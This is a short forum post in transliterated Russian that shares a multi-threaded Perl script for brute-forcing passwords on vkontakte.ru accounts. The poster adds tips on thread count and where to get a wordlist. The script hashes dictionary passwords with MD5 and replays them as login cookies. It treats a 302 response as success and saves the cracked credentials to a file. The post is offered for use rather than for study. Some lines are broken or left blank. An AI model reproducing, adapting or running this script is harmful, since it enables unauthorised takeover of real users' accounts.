kontakt

[ipxodi]

vot mozh komu prigoditsya) potoki menaite v zavisimosti ot mashini, slovarik delaite po antichatu
######################################
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt';
$id = ;
$mail = '@inbox.ru';
$threads = 1;
$size=10;
######################################

open (F1, "$dic");

Next:
for ($i=0;$i<$size;$i++){
$pass[$i] = <F1>;
}
chomp @pass;
#print "@pass//////\n";


for(0..$threads) {
$trl[$_] = threads->create(\&Brut, $_);
}
for(@trl) { $_->join; }

sub Brut{

while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n"."Host: vkontakte.ru\r\n"."Accept: */*\r\n"."Content-Type:application/x-www-form-urlencoded\r\n"."User-Agent: Mozillo\r\n"."Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n"."Connection: close\r\n\r\n";

$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;